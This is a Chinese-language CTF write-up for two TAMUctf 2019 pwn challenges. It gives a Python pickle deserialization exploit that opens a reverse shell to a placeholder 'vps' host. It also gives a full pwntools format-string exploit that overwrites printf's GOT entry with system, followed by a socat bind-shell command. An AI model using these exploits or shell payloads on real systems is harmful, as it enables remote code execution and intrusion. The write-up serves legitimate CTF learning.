TAMUctf2019-pwn-writeup

pwn1-5的题目不难,之前已经有师傅发过writeup了,现在我把剩余两题pwn的writeup补充一下。

VeggieTales

题目描述:

It's my favorite show to watch while practicing my python skills! I've seen episode 5 at least 13 times.

nc pwn.tamuctf.com 8448

Difficulty: easy-medium

2.23 1:58 pm CST: Added hint to description

题目没有给elf,根据题目描述,应该是一个python写的应用,nc过去看一下

Do you like VeggieTales??
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list

菜单功能:

  1. 添加看过的剧集,只能输入1-47
  2. 打印已看过的剧集
  3. 备份当前清单,会返回一串base64
  4. 输入备份得到的那串base64,可恢复已看剧集清单

简单fuzz了一下,没发现什么漏洞,后来题目给出了提示I've seen episode 5 at least 13 times.,看一下第5部ep是5. Dave and the Giant Pickle,马上联想到是python pickle反序列化!

首先添加一部剧集,拿到一串base64进行分析,尝试直接使用pickle反序列化出现报错

Traceback (most recent call last):
  File "X:\tmp\pwn7.py", line 69, in <module>
    print(pickle.loads(base64.b64decode(s)))
_pickle.UnpicklingError: invalid load key, '\xb4'.

对比了一下正常的序列化字符串,发现要先经过ROT13后再base64decode,修改一下代码再次测试。

import base64, string, pickle, codecs
s = "tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt=="
print(pickle.loads(base64.b64decode(codecs.encode(s,"rot-13"))))
# ['5.  Dave and the Giant Pickle']

根据以上分析,我们直接写一个反弹shell的payload,然后在Load your watch list那里进行反序列化

import base64, string, pickle, codecs, platform
class Exploit(object):
    def __reduce__(self):
        return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",20004));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def serialize_exploit():
    shellcode = pickle.dumps(Exploit())
    return shellcode

exp = codecs.encode(str(base64.b64encode(serialize_exploit())),"rot-13")
print(exp)

本地监听端口,另一边输入生成的exp,成功反弹回来(你需要一个有公网ip的vps)

pwn6

题目描述:

Setup the VPN and use the client to connect to the server.

The servers ip address on the vpn is 172.30.0.2

Difficulty: hard

2/23 10:06 am: Added server ip

题目给了一个openvpn的配置文件,以及client和server的二进制文件。

程序保护情况:

[*] '/tmp/client'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[*] '/tmp/server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

openvpn安装使用方法:

sudo apt-get install -y openvpn
cp pwn6.ovpn /etc/openvpn/
sudo openvpn pwn6.ovpn

尝试运行一下client,程序提供两个选项,选项0没什么用,选项1进行登陆,由于没账号密码,输入后提示账号无效,还是直接看二进制文件分析吧。

0. View Recent Login's With client
     1. Login
Enter command to send to server...

由于flag存在server端,我们最终的目标还是要pwn掉server,因此先对server进行分析。server程序功能非常多,里面有不少sql操作,一度往数据库注入方向想,后来一想这是pwn题,不要走歪了。之后在server中发现一个叫process_message函数,看程序逻辑,应该就是处理client发送信息的函数。

signed __int64 __fastcall process_message(struct server *a1, unsigned int *a2)
{
  unsigned int v2; // ST14_4
  signed __int64 result; // rax
  __int64 v4; // ST00_8
  __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = *((_QWORD *)a2 + 1);                     // send_data
  if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
  {
    v2 = (*(__int64 (__fastcall **)(struct server *, unsigned int *))&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2])(
           a1,
           a2);
    printf("Result of action was %i\n", v2, a2);
    result = v2;
  }
  else
  {
    printf("Unauthorized Command for Client %i\n", *a2, a2);
    printf((const char *)(*(_QWORD *)(v4 + 8) + 8LL));  // fmt
    result = 0xFFFFFFFFLL;
  }
  return result;

这里有一个很明显的格式化字符串漏洞,不过要运行到漏洞分支,需要绕过if的判断,目前还不清楚client发包的结构,因此转到分析client的程序,从client入手分析发包过程。定位到client登陆操作用到的函数中:

signed __int64 __fastcall send_login(int *a1)
{
  unsigned __int8 user_len; // ST1F_1
  unsigned __int8 pwd_len; // ST1E_1
  char passwd[256]; // [rsp+20h] [rbp-310h]
  char user[520]; // [rsp+120h] [rbp-210h]
  _BYTE *send_data; // [rsp+328h] [rbp-8h]

  puts("Input Username for login:");
  prompt_string(user, 256);
  puts("Input Password for login:");
  prompt_string(passwd, 256);
  send_data = malloc(0x202uLL);
  user_len = strlen(user) - 1;
  pwd_len = strlen(passwd) - 1;
  user[user_len] = 0;
  passwd[pwd_len] = 0;
  *send_data = user_len;
  send_data[1] = pwd_len;
  memcpy(send_data + 2, user, user_len);
  memcpy(&send_data[user_len + 2], passwd, pwd_len);
  send_msg(a1, 0, send_data, user_len + pwd_len + 2);
  puts("Message sent to server.");
  read(*a1, a1 + 2, 4uLL);
  sleep(2u);
  if ( a1[2] < 0 )
    return 0xFFFFFFFELL;
  a1[1] = 1;
  return 1LL;
}

void __fastcall send_msg(int *a1, int a2, void *a3, unsigned int a4)
{
  const void *src; // ST08_8
  unsigned int n; // ST10_4
  int v6; // [rsp+2Ch] [rbp-24h]
  void *ptr; // [rsp+38h] [rbp-18h]
  _DWORD *buf; // [rsp+40h] [rbp-10h]
  signed int v9; // [rsp+4Ch] [rbp-4h]

  src = a3;
  n = a4;
  v9 = a4 + 8;
  buf = malloc(a4 + 8LL);
  ptr = buf;
  *buf = n;
  buf[1] = a2;
  memcpy(buf + 2, src, n);
  while ( v9 > 0 )
  {
    v6 = write(*a1, buf, v9);
    if ( v6 < 0 )
    {
      perror("Send");
      exit(-1);
    }
    buf = (_DWORD *)((char *)buf + v6);
    v9 -= v6;
  }
  free(ptr);
}

程序读取用户名和密码后,计算用户名和密码的长度,然后申请了一块内存储存用户名和密码,以及对应的长度,再通过send_msg进行发送到server。写个简单的代码,在send_msg处下个断点,动态调试一下,可以看到client发送的数据包结构:

from pwn import *
p = process(['./client', '127.0.0.1'])
p.sendlineafter('server...\n','1')
p.sendlineafter('login:\n','1111')
p.sendlineafter('login:\n','2222')

根据gdb调试的结果,可以推断出client的数据包结构体如下:

struct login_data
{
  int user_len;
  int pwd_len;
  char user;
  char passwd;
};

struct send_data
{
   int32 data_len;
   int32 action;
   char login_data;
}

client发包后,同理在server端process_message处下个断点,看看server端是如何处理数据包的。

► 0x4052b9 <handle_connections+1392>    call   process_message <0x404c99>
        rdi: 0x7fffffffe040 ◂— 0x4
        rsi: 0x6d8590 ◂— 0x7

pwndbg> x/4gx 0x6d8590
0x6d8590:       0x0000000000000007      0x00000000006d6480
0x6d85a0:       0x0000000000000000      0x0000001200000000   
pwndbg> x/4gx 0x00000000006d6480
0x6d6480:       0x000000000000000a      0x3232313131310404
0x6d6490:       0x0000000000003232      0x0000000000000031

可见process_messagev5 = *((_QWORD *)a2 + 1)就是client发的数据包。现在需要分析一下if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )是干什么的?直接看一下汇编,不难发现rdx的值为send_data->action的值,也就是send_msg的第二个参数。

.text:0000000000404CA9 ; 7:   v5 = *((_QWORD *)a2 + 1);                     // send_data
.text:0000000000404CA9                 mov     rax, [rbp+var_20]
.text:0000000000404CAD                 mov     rax, [rax+8]
.text:0000000000404CB1                 mov     [rbp+var_8], rax
.text:0000000000404CB5 ; 8:   if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
.text:0000000000404CB5                 mov     rax, [rbp+var_8]
.text:0000000000404CB9                 mov     edx, [rax+4]   ;; send_data->action
.text:0000000000404CBC                 mov     rax, [rbp+var_20]
.text:0000000000404CC0                 mov     edx, edx
.text:0000000000404CC2                 add     rdx, 4
.text:0000000000404CC6                 mov     rax, [rax+rdx*8+8]
.text:0000000000404CCB                 test    rax, rax

同时检查一下a2中存放了什么数据,根据调试的结果,可以推测send_msg的第二个参数用于选择对应的功能模块,而action=0就是login的操作。

pwndbg> x/32gx 0x6d8590
0x6d8590:       0x0000000000000007      0x00000000006d6480
0x6d85a0:       0x0000000000000000      0x0000001200000000
0x6d85b0:       0x0000000000000012      0x0000000000405445
0x6d85c0:       0x0000000000000000      0x0000000000405c96
0x6d85d0:       0x0000000000000000      0x0000000000000000
0x6d85e0:       0x0000000000000000      0x0000000000000000
0x6d85f0:       0x0000000000000000      0x0000000000000000
0x6d8600:       0x0000000000000000      0x0000000000000000
0x6d8610:       0x0000000000000000      0x0000000000000000
pwndbg> x 0x0000000000405445
0x405445 <login>:       0x70ec8348e5894855
pwndbg> x 0x0000000000405c96
0x405c96 <create_account>:      0x40ec8348e5894855

那么只要我们根据client登录数据包的结构,构造一个数据包,控制send_dataaction参数,让[rax+rdx*8+8]落在空白处,程序就会判断不存在该功能,并进入else分支,到格式化字符串漏洞的地方。现在,可以不用管client了,直接构造一个action大于2的数据包进行调试,代码修改如下:

from pwn import *
p = remote('127.0.0.1', 6210)
def send_payload(action, payload):
    p.send(p32(len(payload)) + p32(action) + payload)

send_payload(3,'aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')
p.interactive()

发现输入的数据包存在栈中,那么利用就很简单了。接着就是常规的格式化字符串漏洞利用套路,修改printf@got.pltsystem@plt

尝试了各种的反弹shell姿势都无效,用curl和wget回传flag也没反应,最后用socat开了一个正向shell,成功连上~

完整exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'DEBUG' 
elf = ELF('./server')
p = remote('172.30.0.2', 6210)

def send_payload(action, payload):
    p.send(p32(len(payload)) + p32(action) + payload)

payload = ''
byte = []
offset = 15
for x in range(6): 
    a = elf.got['printf'] + x
    b = elf.plt['system'] >> 8 * x  & 0xff
    byte.append((b,a))
byte.sort(key=lambda x:x[0],reverse=False)
count = 0
n = 0
for y in byte:
    tmp = y[0]-count
    if tmp < 0: tmp += 256
    if tmp == 0:
        payload += '%{}$hhn'.format(offset+9+n)
    else:
        payload += '%{}c%{}$hhn'.format(tmp,offset+9+n)
    count += tmp
    n += 1
payload = payload.ljust(72,'a')
for z in byte:
    payload += p64(z[1])

send_payload(3,payload)
send_payload(3,'socat TCP-LISTEN:23333,reuseaddr,fork EXEC:"/bin/sh"\x00')
p.close()

总结

VeggieTales是一个常规的pickle反序列化,以往CTF一般是放在web题中。pwn6的server/client题型很新颖,虽然漏洞利用不难,不过调试过程还是踩了不少坑,题目质量不错,值得学习一下。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖